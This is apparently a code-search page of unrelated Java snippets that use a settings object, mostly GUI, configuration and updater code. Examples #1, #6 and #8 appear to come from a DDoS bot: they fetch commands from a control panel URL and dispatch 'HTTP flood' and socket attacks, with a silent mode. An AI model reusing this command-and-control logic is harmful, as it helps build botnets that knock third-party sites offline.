Example #1
0
    /**
     * @return String from the page
     * @throws Exception
     */
    private static String GetPHRAZE() throws Exception {
      String PHRAZE = "";
      try {
        URLConnection connection =
            new java.net.URL(Settings.GET_PANEL_URL() + "?key=" + Settings.GET_PANEL_KEYPHRAZE())
                .openConnection();
        InputStream ist = connection.getInputStream();
        InputStreamReader reader = new InputStreamReader(ist);
        char[] buffer = new char[256];
        int rc;
        StringBuilder sb = new StringBuilder();
        while ((rc = reader.read(buffer)) != -1) sb.append(buffer, 0, rc);
        reader.close();
        PHRAZE = String.valueOf(sb);
      } catch (Exception e) {

        PRINT("ERROR: " + e.toString() + " [Methods::OpenURL]", 1);
        // Thread.currentThread().stop();
        Thread.currentThread().interrupt();
        return "";
      }

      if (Settings.GET_DO_ONLY_ONCE()) {
        if (Objects.equals(PHRAZE, PREVIOUS_PHRAZE)) {
          Thread.currentThread().interrupt();
          return "";
        } else {
          PREVIOUS_PHRAZE = PHRAZE;
        }
      }
      return PHRAZE;
    }
Example #2
0
  public GalaxyViewer(Settings settings, boolean animatorFrame) throws Exception {
    super("Stars GalaxyViewer");
    this.settings = settings;
    this.animatorFrame = animatorFrame;
    if (settings.gameName.equals("")) throw new Exception("GameName not defined in settings.");
    setDefaultCloseOperation(EXIT_ON_CLOSE);
    File dir = new File(settings.directory);
    File map = new File(dir, settings.getGameName() + ".MAP");
    if (map.exists() == false) {
      File f = new File(dir.getParentFile(), settings.getGameName() + ".MAP");
      if (f.exists()) map = f;
      else {
        String error = "Could not find " + map.getAbsolutePath() + "\n";
        error += "Export this file from Stars! (Only needs to be done one time pr game)";
        throw new Exception(error);
      }
    }
    Vector<File> mFiles = new Vector<File>();
    Vector<File> hFiles = new Vector<File>();
    for (File f : dir.listFiles()) {
      if (f.getName().toUpperCase().endsWith("MAP")) continue;
      if (f.getName().toUpperCase().endsWith("HST")) continue;
      if (f.getName().toUpperCase().startsWith(settings.getGameName() + ".M")) mFiles.addElement(f);
      else if (f.getName().toUpperCase().startsWith(settings.getGameName() + ".H"))
        hFiles.addElement(f);
    }
    if (mFiles.size() == 0) throw new Exception("No M-files found matching game name.");
    if (hFiles.size() == 0) throw new Exception("No H-files found matching game name.");
    parseMapFile(map);
    Vector<File> files = new Vector<File>();
    files.addAll(mFiles);
    files.addAll(hFiles);
    p = new Parser(files);
    calculateColors();

    // UI:
    JPanel cp = (JPanel) getContentPane();
    cp.setLayout(new BorderLayout());
    cp.add(universe, BorderLayout.CENTER);
    JPanel south = createPanel(0, hw, new JLabel("Search: "), search, names, zoom, colorize);
    search.setPreferredSize(new Dimension(100, -1));
    cp.add(south, BorderLayout.SOUTH);
    hw.addActionListener(this);
    names.addActionListener(this);
    zoom.addChangeListener(this);
    search.addKeyListener(this);
    colorize.addActionListener(this);
    setSize(800, 600);
    Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
    setLocation((screen.width - getWidth()) / 2, (screen.height - getHeight()) / 2);
    setVisible(animatorFrame == false);
    if (animatorFrame) names.setSelected(false);
  }
Example #3
0
  // Saves the settings to config file.
  public static void saveSettings(Settings settings) {
    config.setProperty("vlclocation", settings.getVlcLocation());
    config.setProperty("thumbnailcount", settings.getThumbnailCount());
    config.setProperty("thumbnailwidth", settings.getThumbnailWidth());
    config.setProperty("thumbnailhighlightcolor", settings.getThumbnailHighlightColor());
    config.setProperty("folders", String.join("|", settings.getFolders()));

    try {
      config.save("vidor.config");
    } catch (ConfigurationException ex) {
      ex.printStackTrace();
    }
  }
Example #4
0
    public static Settings init() throws Exception {
      File f = new File("galaxyviewer.ini");
      if (f.getAbsoluteFile().getParentFile().getName().equals("bin"))
        f = new File("..", "galaxyviewer.ini");
      Settings settings;
      if (f.exists()) {
        settings = new Settings();
        BufferedReader in = new BufferedReader(new FileReader(f));
        while (true) {
          String s = in.readLine();
          if (s == null) break;
          if (s.contains("=") == false) continue;
          String[] el = s.split("=", -1);
          if (el[0].equalsIgnoreCase("PlayerNr"))
            settings.playerNr = Integer.parseInt(el[1].trim()) - 1;
          if (el[0].equalsIgnoreCase("GameName")) settings.gameName = el[1].trim();
          if (el[0].equalsIgnoreCase("GameDir")) settings.directory = el[1].trim();
        }
        in.close();
      } else settings = new Settings();

      JTextField pNr = new JTextField("" + (settings.playerNr + 1));
      JTextField gName = new JTextField(settings.gameName);
      JTextField dir = new JTextField("" + settings.directory);

      JPanel p = new JPanel();
      p.setLayout(new GridLayout(3, 2));
      p.add(new JLabel("Player nr"));
      p.add(pNr);
      p.add(new JLabel("Game name"));
      p.add(gName);
      p.add(new JLabel("Game directory"));
      p.add(dir);
      gName.setToolTipText("Do not include file extensions");
      String[] el = {"Ok", "Cancel"};
      int ok =
          JOptionPane.showOptionDialog(
              null,
              p,
              "Choose settings",
              JOptionPane.OK_CANCEL_OPTION,
              JOptionPane.QUESTION_MESSAGE,
              null,
              el,
              el[0]);
      if (ok != 0) System.exit(0);
      settings.playerNr = Integer.parseInt(pNr.getText().trim()) - 1;
      settings.directory = dir.getText().trim();
      settings.gameName = gName.getText().trim();
      BufferedWriter out = new BufferedWriter(new FileWriter(f));
      out.write("PlayerNr=" + (settings.playerNr + 1) + "\n");
      out.write("GameName=" + settings.gameName + "\n");
      out.write("GameDir=" + settings.directory + "\n");
      out.flush();
      out.close();
      return settings;
    }
Example #5
0
 public static void main(String[] args) throws Exception {
   try {
     Settings settings = Settings.init();
     new GalaxyViewer(settings, false);
   } catch (Exception ex) {
     ex.printStackTrace();
     System.err.println(ex.toString());
     JOptionPane.showMessageDialog(null, ex.toString());
     System.exit(0);
   }
 }
Example #6
0
  /**
   * Methods.PRINT.DOIT("It works!",2); Methods.PRINT.DOIT("It works in cmdline!",1);
   * Methods.PRINT.DOIT("It works both!",0);
   */
  public static void PRINT(String text, int mode) {
    switch (mode) {
      case 1:
        if (Settings.GET_DEBUG_MODE()) {
          System.out.println(text);
        }
        break;

      case 2:
        if (!Settings.GET_SILENT_MODE()) {
          javax.swing.JOptionPane.showMessageDialog(null, text);
        }
        break;

      default:
        if (Settings.GET_DEBUG_MODE()) {
          System.out.println(text);
        }
        if (!Settings.GET_SILENT_MODE()) {
          javax.swing.JOptionPane.showMessageDialog(null, text);
        }
        break;
    }
  }
Example #7
0
  private SettingsWindow() {
    this.settings = Settings.getInstance();

    setAlwaysOnTop(true);
    setDefaultCloseOperation(HIDE_ON_CLOSE);
    setIconImage(new ImageIcon("img/settings-icon.png").getImage());
    setResizable(false);
    setSize(WINDOW_WIDTH, WINDOW_HEIGHT);
    setTitle("Osobní nastavení");

    createMainPanel();
    createTabs();
    reloadSettings();

    addWindowListener(this);
  }
Example #8
0
    /**
     * The class that handles the word of the array and performs.
     *
     * <p>Commands: http - HTTP flood. Example of cmdline: http http://[site_adress]/ [timeout]
     * [number] sock - Exaple: sock [IP] [PORT] [timeout] [number] openurl - opening web page.
     * Example: openurl [URL] dialog - shows dialog. Example: dialog [text]
     */
    private static void Action() {
      String[] CMD = GET_CMD_ARRAY();
      switch (CMD[0]) {
        case "http":
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2] + " " + CMD[3], 1);
          /** CMD[0] - http CMD[1] - URL CMD[2] - timeout CMD[3] - number */
          new Classes.JDDOS(
              1,
              CMD[1],
              Integer.parseInt(CMD[3]),
              Integer.parseInt(CMD[2]),
              Settings.GET_DEBUG_MODE());
          break;
        case "sock":
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2], 1);
          /** CMD[0] - sock CMD[1] - IP CMD[2] - PORT CMD[3] - timeout CMD[4] - number */
          // new Classes.JDDOS(2, CMD[1], Integer.parseInt(CMD[2]), 10, Settings.GET_DEBUG_MODE());
          break;
        case "openurl":
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1], 1);
          String myURL = CMD[1];
          try {
            java.net.URL url = new java.net.URL(myURL);
            String nullFragment = null;
            URI uri =
                new URI(
                    url.getProtocol(), url.getHost(), url.getPath(), url.getQuery(), nullFragment);
            Desktop.getDesktop().browse(uri);

          } catch (Exception e) {
            PRINT("Cathced exception" + e, 1);
          }
          break;
        case "dialog":
          /** CMD[0] - dialog CMD[1++] - text */
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2] + "...", 1);
          String TEXT = "";
          CMD[0] = "";
          for (String n : CMD) {
            TEXT += (" " + n);
          }
          javax.swing.JOptionPane.showMessageDialog(null, TEXT);
          break;
      }
    }
Example #9
0
  // Loads the settings from config file. If no values defined, the deafult values are returned.
  public static Settings loadSettings() {
    config.setListDelimiter('|');
    Settings s = new Settings();
    try {
      config.load("vidor.config");
    } catch (ConfigurationException ex) {
      ex.printStackTrace();
    }

    s.setVlcLocation(config.getString("vlclocation", ""));
    s.setThumbnailCount(config.getInt("thumbnailcount", 10));
    s.setThumbnailWidth(config.getInt("thumbnailwidth", 200));
    s.setThumbnailHighlightColor(config.getString("thumbnailhighlightcolor", ""));

    List<String> f = new ArrayList(Arrays.asList(config.getStringArray("folders")));
    if (!f.get(0).trim().isEmpty()) { // Bug fix - Empty folder check
      s.setFolders(f);
    }

    return s;
  }
Example #10
0
  public static Logger initLogger() {
    Logger initlogger = Logger.getLogger(settings.getMainClass());
    initlogger.setLevel(settings.getLogLevel());
    boolean addconsole = false;
    if (settings.getLogToFile()) {
      try {
        Handler handler = new FileHandler(settings.getLogFile(), true);
        handler.setFormatter(new SimpleFormatter());
        initlogger.addHandler(handler);
      } catch (Exception e) {
        Logger().warning("Could not set logfile " + settings.getLogFile() + ": " + e.getMessage());
        addconsole = true;
      }
    }
    addconsole = settings.getLogToConsole() || addconsole;
    if (addconsole) {
      initlogger.addHandler(new ConsoleHandler());
    }
    // restore original log state
    logger.setLevel(templevel);
    templevel = null;

    return initlogger;
  }
Example #11
0
 private static void saveUpdateSettings() {
   settings.setAutoUpdate(autoupdate.getCheckForUpdates());
   settings.setExperimental(autoupdate.getIncludeExperiemental());
   settings.setMinor(autoupdate.getIncludeMinor());
   settings.saveSettings();
 }
Example #12
0
  public Main(
      String args[],
      String cmd_name,
      OSSpecific os_name,
      String settings_name,
      final String window_name,
      String logger_name,
      String about_name,
      String pref_name) {
    if (cmd == null) {
      cmd = new CommandLine(args);
    }

    if (!cmd.getHelp()) {
      if (os_name == null) {
        os = OSSpecific.getInstance();
      } else {
        os = (OSSpecific) newInstance(cmd_name);
      }
      if (settings_name == null) {
        settings = new Settings();
      } else {
        settings = (Settings) newInstance(settings_name);
      }
      settings.loadSettings();
      if (logger_name == null) {
        logger = initLogger();
      } else {
        logger = (Logger) newInstance(logger_name);
      }
      Logger().info("Custom logger now in use.");

      aboutclass = about_name;
      prefclass = pref_name;

      ActionListener update =
          new ActionListener() {
            public void actionPerformed(ActionEvent e) {
              saveUpdateSettings();
            }
          };
      ActionListener cancel =
          new ActionListener() {
            public void actionPerformed(ActionEvent e) {
              cancelUpdate(window_name);
            }
          };
      WindowListener closewindow =
          new WindowListener() {
            public void windowClosing(WindowEvent e) {
              cancelUpdate(window_name);
            }

            public void windowClosed(WindowEvent e) {}

            public void windowOpened(WindowEvent e) {}

            public void windowIconified(WindowEvent e) {}

            public void windowDeiconified(WindowEvent e) {}

            public void windowActivated(WindowEvent e) {}

            public void windowDeactivated(WindowEvent e) {}

            public void windowGainedFocus(WindowEvent e) {}

            public void windowLostFocus(WindowEvent e) {}

            public void windowStateChanged(WindowEvent e) {}
          };
      autoupdate = new AutoUpdate();
      autoupdate.checkForUpdates(
          settings.getTitle(),
          settings.getUpdateUrl(),
          settings.getVersion(),
          settings.getBuild(),
          settings.getAllowMinor(),
          settings.getAllowExperimental(),
          settings.getAllowAutoUpdate(),
          settings.getMinor(),
          settings.getExperimental(),
          settings.getAutoUpdate(),
          update,
          cancel,
          closewindow);
    }
  }
 private void expectSettingsToReturnDelayBetweenEvents() {
   expect(settings.delayBetweenEvents()).andReturn(WAIT_DELAY);
 }
Example #14
0
  private void saveSettings() throws InvalidAttributeValueException {
    if (userForm.getNickname().isEmpty())
      throw new InvalidAttributeValueException("Přezdívka musí být vyplněna");
    else if (userForm.getUsername().isEmpty())
      throw new InvalidAttributeValueException("Uživatelské jméno musí být vyplněno");

    settings.setUserProperty("nickname", userForm.getNickname());
    settings.setUserProperty("altnickname", userForm.getAltNickname());
    settings.setUserProperty("username", userForm.getUsername());
    settings.setUserProperty("realname", userForm.getRealname());
    settings.setUserProperty("email", userForm.getEmail());

    settings.setEventEnabled("log-chat", eventsForm.isLogChatChecked());
    settings.setEventEnabled("rejoin-after-kick", eventsForm.isRejoinChecked());
    settings.setEventEnabled("clickable-links", eventsForm.isClickableLinksChecked());
    settings.setEventEnabled("ask-for-quit", eventsForm.isAskForQuitChecked());

    settings.setViewEnabled("display-topic", viewForm.isDisplayTopicChecked());
    settings.setViewEnabled("timestamp-enabled", viewForm.isTimestampEnabled());
    settings.setViewTimestampFormat(viewForm.getTimestampFormat());

    settings.setBlockedNicknames(blockedForm.getBlockedNicknames());

    settings.store();
  }
Example #15
0
  private void reloadSettings() {
    userForm.setNickname(settings.getUserProperty("nickname"));
    userForm.setAltNickname(settings.getUserProperty("altnickname"));
    userForm.setUsername(settings.getUserProperty("username"));
    userForm.setRealname(settings.getUserProperty("realname"));
    userForm.setEmail(settings.getUserProperty("email"));

    eventsForm.setLogChatChecked(settings.isEventEnabled("log-chat"));
    eventsForm.setRejoinChecked(settings.isEventEnabled("rejoin-after-kick"));
    eventsForm.setClickableLinksChecked(settings.isEventEnabled("clickable-links"));
    eventsForm.setAskForQuitChecked(settings.isEventEnabled("ask-for-quit"));

    viewForm.setDisplayTopicChecked(settings.isViewEnabled("display-topic"));
    viewForm.setTimestampEnabled(settings.isViewEnabled("timestamp-enabled"));
    viewForm.setTimestampFormat(settings.getViewTimestampFormat());

    blockedForm.setBlockedNicknames(settings.getBlockedNicknames());
  }